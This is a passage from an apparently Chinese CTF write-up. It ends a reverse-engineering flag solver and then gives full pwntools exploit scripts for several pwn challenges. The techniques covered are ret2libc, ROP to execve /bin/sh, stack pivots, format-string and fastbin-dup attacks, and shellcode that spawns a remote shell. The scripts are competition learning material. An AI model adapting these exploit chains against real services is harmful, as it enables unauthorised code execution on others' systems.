x.add(77 * data[0] - 2 * data[1] + 6 * data[2] + 6 * data[3] - 96 * data[4] - 9 * data[5] - 6 * data[6] + 96 * data[7] - 0 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 0 * data[17] + -2 * data[18] + 9 * data[19] + 0 * data[20] + 21 * data[21] + 222 * data[22] + 23 * data[23] - 224 * data[24] + 26 * data[25] - -58 * data[26] + 27 * data[27] - 2 * data[28] + 29 * data[29] == 130106)
if x.check()==sat:
ans =x.model()
print(ans)
data[29] = 49
data[28] = 125
data[27] = 51
data[26] = 54
data[25] = 52
data[24] = 45
data[6] = 85
data[21] = 53
data[14] = 123
data[3] = 49
data[11] = 49
data[17] = 54
data[5] = 49
data[0] = 72
data[1] = 49
data[12] = 70
data[18] = 100
data[10] = 84
data[8] = 67
data[4] = 78
data[9] = 49
data[15] = 49
data[7] = 49
data[22] = 102
data[13] = 49
data[19] = 50
data[16] = 97
data[2] = 90
data[20] = 55
data[23] = 55
for i in range(30):
print(chr(data[i]),end='')
# H1Z1N1U1C1T1F1{1a6d275f7-463}1
print("\n")
num = "625764536547736477764575236"
flag = {'a': 6, 'd': 2, '7': 5, 'f': 7, '6': 3, '-': 4}
reverse_flag = {v: k for k, v in flag.items()}
# 遍历 num 字符串
result = ""
for char in num:
digit = int(char) # 将字符转为整数
if digit in reverse_flag:
result += reverse_flag[digit] # 获取对应的字典键并拼接
print("HZNUCTF{"+result+"}")
|

pwn
签到
- 使用 gets 函数,只开 nx 保护,栈溢出 ret2libc
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
#io = process("./pwwn")
#io = gdb.debug("./pwwn","""b main""")
io = remote("node1.tgctf.woooo.tech",31825)
elf = ELF("./pwwn")
libc = ELF("./libc.so.6")
rdi = 0x0000000000401176
payload = b"A"*0x70 + b"AAAAAAAA" + p64(rdi) + p64(elf.got["puts"])
payload += p64(elf.plt["puts"]) + p64(0x40117D)
io.sendlineafter(b"name",payload)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - libc.sym["puts"]
success(f"libc_base => {hex(libc_base)}")
system = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search("/bin/sh"))
payload2 = b"A"*0x70 + b"AAAAAAAA" + p64(rdi)*3 + p64(bin_sh) + p64(system)
io.sendlineafter(b"name",payload2)
io.interactive()
|
stack
- 静态编译,出现 gets 函数,但是函数返回时对寄存器的操作比较乱,控制返回地址到 name,name 上放好 ROPgadget 生成的 rop 链即可
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
#!/usr/bin/env python3
from pwn import *
from struct import pack
context(arch = "i386" , os = "linux" , log_level = "debug")
io = process("./pwwn")
io = remote("node1.tgctf.woooo.tech",30140)
'''
io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3661
b *0x80498b3
c
b *0x80498b8
""")
'''
p = b''
#p += p32(0x80EF320+4)
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x08049802) # pop ecx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08049c6a) # int 0x80
io.sendafter(b"name",p)
ret = 0x08049009
edi = 0x08049a80
esi = 0x0804fc5f
edx = 0x08060bd1
flag = 0x080efb25 # 0x080ce95d 0x080ef91d 0x080efb25
open_ = 0x806F870
success(f"len => {hex(len(p))}")
success(p)
name = 0x80EF320
mprotect= 0x8070A70
payload1 = b"\x55"*0x14 + p32(ret)
payload1 = payload1.ljust(0xc4,b"\x11") + b"AAAA"
payload1 = flat({
0x14: p32(ret),
0xc4: b"AAAA",
0xc8: p32(name+4),
},filler = b"\x11")
io.sendlineafter(b"right",payload1)
io.interactive()
|
overflow
- 栈迁移,有/bin/sh 字符串
- write_func 的里函数参数可以通过 name 全局变量控制
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./pwwn")
io = remote("node1.tgctf.woooo.tech",30847)
'''
io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3661
b *0x4012bf
c""")
'''
bss = 0x404060
leave_ret = 0x000000000040122b
bin_sh = 0x404108
payload1 = p64(0) + p64(0x4011B6) + b"\x11"*(0x4040A0-bss-0x10) + p64(0x3b) + p64(bin_sh)
io.sendafter(b"name",payload1.ljust(0xa8,b"\x00"))
payload2 = b"A"*0x40 + p64(bss) + p64(leave_ret)
io.sendafter(b"what dou you want to say?",payload2)
io.interactive()
|
fmt
- 格式化字符串漏洞,直接改掉 printf 的返回地址,可以实现无限次漏洞
- leak 得到 libc_base 加上最开始得到的 stack_base,改 stack 上返回地址为 onegadget 即可
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./pwn")
io = remote("node1.tgctf.woooo.tech",30289)
'''
decompiler connect ida --host 192.168.132.84 --port 3662
io = gdb.debug("./pwn","""decompiler connect ida --host 192.168.132.84 --port 3662
b main
c
b *0x401271
c""")
#b *0x401271
#c
#b *0x401214
#c""")
'''
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
main = 0x4011BB
io.recvuntil(b"your gift 0x")
stack_base = int(io.recvn(12),16) - 0x1ff40
success(f"stack_base => {hex(stack_base)}")
printf_ret = stack_base + 0x1ff38
success(f"printf_ret => {hex(printf_ret)}")
payload = b"%" + str(main&0xffff).encode() + b"c%8$hn"
payload += b"%3$p" + b"A"
payload += p64(printf_ret) + p64(elf.got["puts"])
io.sendafter(b"name",payload.ljust(0x30,b"\x00"))
#libc_base = u64(io.recvuntil(b"\x7f")[-12:-6].ljust(8,b"\x00")) - 0x1f12e8#libc.sym["puts"]
io.recvuntil(b"0x")
libc_base = int(io.recvn(12),16) - 0x10e1f2#libc.sym["puts"]
success(f"libc_base => {hex(libc_base)}")
printf_ret2 = stack_base + 0x1ff68 - 0x90
onegadget = libc_base + 0xe3b01
payload2 = b"%" + str(main&0xffff).encode() + b"c%8$hn"
payload2 += p64(onegadget)[3:]
payload2 += p64(printf_ret2) #+ p64(0x404020) + p64(0x404020)
#payload2 += b"%" + str(onegadget&0xffff0000).encode() + b"c%8$hn"
#payload2 += b"%" + str(onegadget&0xffff00000000).encode() + b"c%8$hn"
#payload2 = b"A"
payload2 = payload2.ljust(0x30,b"\x00")
io.sendafter(b"name",payload2)
success(f"stack_base1 => {hex(stack_base)}")
success(f"onegadget => {hex(onegadget)}")
success(f"onegadget => {hex(onegadget&0xffff-((onegadget>>16)&0xff))}")
success(f"onegadget => {hex((onegadget>>16)&0xff)}")
success(f"mid => {hex(onegadget&0xffff)}")
ret_addr = stack_base + 0x1fee8
num_mid = (onegadget>>16)&0xff
num_low = onegadget&0xffff
off = num_low-num_mid
success(f"num_mid => {hex(num_mid)}")
success(f"num_low => {hex(num_low)}")
success(f"off => {hex(off)}")
payload3 = b"%" + str(num_mid).encode() + b"c%11$hhn"
payload3 += b"%" + str(off).encode() + b"c%10$hn"
payload3 = payload3.ljust(0x20,b"\x11")
payload3 += p64(ret_addr) + p64(ret_addr+2)
io.sendafter(b"name",payload3.ljust(0x30,b"\x00"))
success(f"libc_base => {libc_base}")
#gdb.attach(io)
io.interactive()
|
Heap
- 全局变量 name 与储存堆指针位置相邻,构造 fake fastbin chunk,控制堆指针,虽然无法二次改写 但是可以 free 任意地址,在 name 变量中构造 unsortedbins chunk 然后 free 掉 fake chunk 进入 unsortedbins,可以获得 libc 基地址
- 再次 fastbin dup 改 malloc hook 为 onegadget 即可
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
#io = process("./pwwn")
io = remote("node1.tgctf.woooo.tech",30746)
'''
io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662
b *0x400B67
c
b *0x400AB3
""")
'''
elf = ELF("./pwwn")
libc = ELF("./libc.so.6")
def mune(choice):
io.sendlineafter(b"exit",str(choice).encode())
def add(size,content):
mune(1)
io.sendlineafter(b"size?",str(size).encode())
io.sendafter(b"else?",content)
def free(idx):
mune(2)
io.sendlineafter(b"delete?",str(idx).encode())
def edit_bss(content):
mune(3)
io.sendafter(b"name?",content)
bss = 0x6020C0
io.sendafter(b"name?",p64(elf.got["free"])+p64(0x71)*0x19)
for i in range(3):
add(0x60,b"A")
free(0)
free(1)
free(0)
fake_chunk_addr = 0x602180
add(0x60,p64(fake_chunk_addr))
add(0x60,b"A")
add(0x60,b"A")
add(0x60,p64(0)+p64(0x21)+p64(bss+0x10+0x20)+p64(bss+0x10))
payload1 = flat({
0: 0,
0x8: p64(0x21),
0x20+0: 0,
0x20+0x8: 0x91,
0x20+0x90: 0,
0x20+0x98: 0x21,
},filler = b"\x00")
edit_bss(payload1)
free(0)
edit_bss(b"\x11"*0x2f+b"\x22")
io.recvuntil(b"\x11\x22")
libc_base = u64(io.recvn(6).ljust(8,b"\x00")) - 0x3c4b78
malloc_hook = libc_base + libc.sym["__malloc_hook"]
onegadget = libc_base + 0xf1247
success(f"libc_base => {hex(libc_base)}")
free(2)
free(3)
free(2)
edit_bss(p64(0x71)*0x1a)
add(0x60,p64(0x602180))
add(0x60,p64(0x602180))
add(0x60,p64(0x602180))
payload2 = b"A"*0x10 + p64(malloc_hook-0x23)
add(0x60,payload2)
free(4)
free(5)
free(4)
add(0x60,p64(malloc_hook-0x23))
add(0x60,p64(malloc_hook-0x23))
add(0x60,p64(malloc_hook-0x23))
add(0x60,b"A"*0x13+p64(onegadget))
mune(1)
io.sendlineafter(b"size?",b"1")
#gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662
# """)
#edit_bss(p64(elf.plt["puts"]))
#free(0)
#add(0x80,b"A")#0
#add(0x80,b"A")#1
#add(0x80,b"A")#2
##def free(idx):
## mune(2)
## io.sendlineafter(b"delete?",str(idx).encode())
#for i in range(3):
# free(i)
#payload1 = p64(0) + p64(0x91)
#payload2 = p64(0) + p64(0x91)
#add(0x70,b"A")#4
#add(0x80,payload1)#5
#add(0x80,payload2)#6
#
#free(1)
#add(0x20,b"A")
#
#free(5)
#free(4)
#free(3)
#
#payload3 = p64(0) + p64(0x21) + b"\x00"*0x20 + p64(0) + p64(0x61)
#
#add(0x80,payload3)
#add(0x18,p64(elf.got["puts"]))
#gdb.attach(io)
io.interactive()
|
Noret
- 输入隐藏选项 4,拿到 stack 地址
- 发现 add rax,rdi,以此为基础寻找 gadget 控制 rsi,rdx,最终无法控制 rdi,选择使用 execveat(,/bin/sh,0,0)
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./pwwn")
io = remote("node1.tgctf.woooo.tech",30734)
'''
io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662
b *0x40103B
c
b *0x4010c1
c
b *0x4010fd
""")
'''
def mune(choice):
io.sendlineafter(b">",str(choice).encode())
mune(4)
stack_base = (u64(io.recvn(7).ljust(8,b"\x00"))>>8) # 0x7fffffffe058
success(f"stack_base => {hex(stack_base)}")
mune(2)
# 0x000000000040100f: pop rsp; pop rdi; pop rcx; pop rdx; jmp qword ptr [rdi + 1];
# 0x000000000040101b: mov rsi, qword ptr [rcx + 0x10]; jmp qword ptr [rdx];
# 0x0000000000401010: pop rdi; pop rcx; pop rdx; jmp qword ptr [rdi + 1];
# 0x0000000000401024: add rax, rdx; jmp qword ptr [rcx];
payload_addr = stack_base - 0x100
syscall = 0x00000000004010e0
payload = p64(0x000000000040101b) + p64(0x0000000000401010) + p64(0x0000000000401024)
payload += b"/bin/sh"
payload = payload.ljust(0x28,b"\x00") + p64(syscall) + p64(payload_addr+0x18)
payload = payload.ljust(0x40,b"\x00")
payload += p64(payload_addr-1)
payload += p64(payload_addr+0x30-0x10) + p64(payload_addr+8)
payload += p64(payload_addr+0x10-1) + p64(payload_addr+8) + p64(0x142-0x1d)
payload += p64(payload_addr+0x28-1) + p64(0) + p64(0)
payload = payload.ljust(0x100,b"\x00")
payload += p64(0x000000000040100f)
payload += p64(payload_addr+0x40)
io.send(payload)
#io.send(b"echo aaaa")
io.interactive()
|
Shellcode
- 执行前设置了该地址只有可执行权限,幸运的是 rdi 是 12 字节对齐,选择使用 mprotect 函数恢复 rwx 权限,在 syscall 之后清零 edi 和 eax,最后使用 jmp 跳回到 syscall 执行 read,保证程序正常进行的情况下使用 inc 自增 edx,循环多次后写入最终 shellcode 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./pwwn")
io = remote("node2.tgctf.woooo.tech",30627)
'''
io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662
b main
c
b *0x555555555212
""")
'''
#void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
shellcode = asm('''
add eax,0xa
add edx,0x7
lea rsi,[rdi+0xa]
syscall
xor edi,edi
xor eax,eax
jmp rsi
''')
shellcode2 = asm('''
lea rbp,[rdi+0xa]
''')
success(disasm(shellcode2))
success(disasm(shellcode))
io.sendafter(b"show",shellcode)
shellcode3 = asm('''
syscall
inc edx
''')
for i in range(100):
sleep(0.1)
io.send(shellcode3)
#gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662""")
shellcode4 = asm('''
mov rsp,fs:[0x300]
push 0x68732f2f
push 0x6e69622f
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
push 59 #push 0x3b
pop rax
syscall
''')
shellcode4 = asm('mov rsp,fs:[0x300]')
shellcode4 += asm(shellcraft.sh())
io.send(b"AA"+shellcode4)
io.interactive()
|
onlygets
只有孤零零的 gets,我该怎么做才能回应他……
傲娇的他说不出任何话,只是一味的聆听我们那无谓的只有诉说没有回应的话语(没输出)
但我们发现,当没和 gets 进行一次交互,他就会在栈上留下有关 “家” 地址的信息(残留 libc)

这个紫色的 _IO_2_1_stdin 是他留给我们最后的善良(可以结合 csu 中 call 寄存器偏移利用)
为了找寻他的秘密,我们必须把他带到熟悉的地方进行作案(通过栈迁移把栈迁移到 bss 段上)
懒得编了,执行一次 gets 后我们就在 bss 上残留了地址,由于没有随机化,地址可以轻易找到位置,这意味着我们可以直接想办法,围绕这个地址前后使用 gets 进行写,构建一个 ret2csu 的攻击链,将残留地址放在 pop r12 能控制的地方,在这之后,我们就要考虑泄露 libc 或者是 直接取得 shell 的方法,由于 call 的是方括号地址,所有我们需要找一个存地址的地址,符合条件的有 libc got 和虚表指针,前者没有合适的,后者可以偏移到 _IO_file_write 的指针,我们只要计算两者的偏移,写到 rbx 上,在随便找个地方写一个 file 结构体,使得 fileno 为 stdout 并能过检测,把结构体,起始地址和长度作为参数写入 csu 链子,栈迁移在迁移到链子,执行泄露 libc,剩下怎么玩弄就看能整多大活了,反正 gets 不限输入随便整
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
|
#!/usr/bin/env python3
'''
author: the lover of g♥e♥t♥s
time: 2025-04-13 00:37:07
'''
from pwn import *
from LibcSearcher import *
import os
import sys
import time
from ctypes import *
# For local
filename = "vuln_patched"
libcname = "/home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.35-0ubuntu3.9/amd64/libc6_2.35-0ubuntu3.9_amd64/lib/x86_64-linux-gnu/libc.so.6"
# For remote
host = "node2.tgctf.woooo.tech"
port = 30434
# For docker
container_id = ""
proc_name = ""
# For GDB
isAttach = 0
gdbscript = '''
b main
set debug-file-directory /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.35-0ubuntu3.9/amd64/libc6-dbg_2.35-0ubuntu3.9_amd64/usr/lib/debug
set directories /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.35-0ubuntu3.9/amd64/glibc-source_2.35-0ubuntu3.9_all/usr/src/glibc/glibc-2.35
'''
# For Elf info
filearch = 'amd64'
context.log_level = 'debug'
context.os = 'linux'
context.arch = filearch
context.terminal = ["/mnt/c/Windows/System32/cmd.exe", '/c', 'start', 'wsl.exe']
# Load the binary
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
# Set up start function
def start():
if args.ATTACH:
global isAttach
isAttach = 1
return process(elf.path)
elif args.GDB:
return gdb.debug(elf.path, gdbscript = gdbscript)
elif args.REMOTE:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
io = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f"{i} => {v}")
idx = int(input(f"Which one:"))
import tempfile
with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')
print(tmp.name)
run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
return io
else:
return process(elf.path)
def dbg():
if isAttach:
gdb.attach(io, gdbscript = gdbscript)
sleep(0.2)
io = start()
######################### Your Code Here #########################
# [*] '/mnt/f/CTF_Problems/2025/2025.04-TGCTF/onlygets/docker/src/vuln'
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# Stripped: No
# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL || rsi is a valid argv
# [rdx] == NULL || rdx == NULL || rdx is a valid envp
leak_addr = 0x601158 #_IO_2_1_stdin_
bss_addr = 0x601030
bss_addr1 = 0x601200
bss_addr2 = 0x601400
main_addr = elf.symbols['main']
gets_plt = elf.plt['gets']
gets_got = elf.got['gets']
csu_mov = 0x400640
csu_pop = 0x40065A
csu_call = 0x400649
pop_rdi = 0x400663
leave_ret = 0x4005FB
iowrite_off = (int((0x7f0a524f8cb8 - 0x7f0a524fca00) / 8)) & 0xffffffffffffffff
payload1 = flat([b'a' * 0x18, csu_pop, 0, 1, gets_got, 0, 0, 0, pop_rdi, bss_addr1, csu_call, b'a' * 56, main_addr])
sleep(0.2)
io.sendline(payload1)
payload2 = flat([pop_rdi, bss_addr, gets_plt, main_addr])
payload2 = payload2.ljust(0x200, b'\x00')
payload2 += p64(main_addr)
sleep(0.2)
io.sendline(payload2)
payload3 = flat([b'a' * 0x10, bss_addr1 - 8, leave_ret])
sleep(0.2)
io.sendline(payload3)
payload4 = flat([b'a' * 0x10, bss_addr2 - 8, leave_ret]) // 二次迁移防止破坏 gets 的讯息
sleep(0.2)
io.sendline(payload4)
payload5 = flat([b'a' * 0x18, csu_pop, 0, 1, gets_got, 0, 0, 0, pop_rdi, leak_addr + 8, csu_call, b'a' * 56])
payload5 += flat([csu_pop, 0, 1, gets_got, 0, 0, 0, pop_rdi, leak_addr - 0x18, csu_call, b'a' * 56, pop_rdi, bss_addr, gets_plt, main_addr])
sleep(0.2)
io.sendline(payload5)
payload6 = flat([bss_addr, 0x601150, 0x50, csu_mov, b'a' * 56, main_addr])
sleep(0.2)
io.sendline(payload6)
log.info('Warn')
payload7 = flat([csu_pop, iowrite_off, iowrite_off + 1])
sleep(0.2)
io.sendline(payload7)
payload9 = p64(0) * 14 + p32(1) + p32(2)
sleep(0.2)
io.sendline(payload9)
payload8 = flat([b'a' * 0x10, leak_addr - 0x18 - 8, leave_ret])
sleep(0.2)
io.sendline(payload8)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (0x7f9ab05b9a00 - 0x7f9ab039f000)
log.success(f'libc_base: {hex(libc_base)}')
payload10 = p64(0) * 2 + p64(0x601800) + p64(libc_base + 0xebd43)
sleep(0.2)
io.sendline(payload10)
##################################################################
io.interactive()
|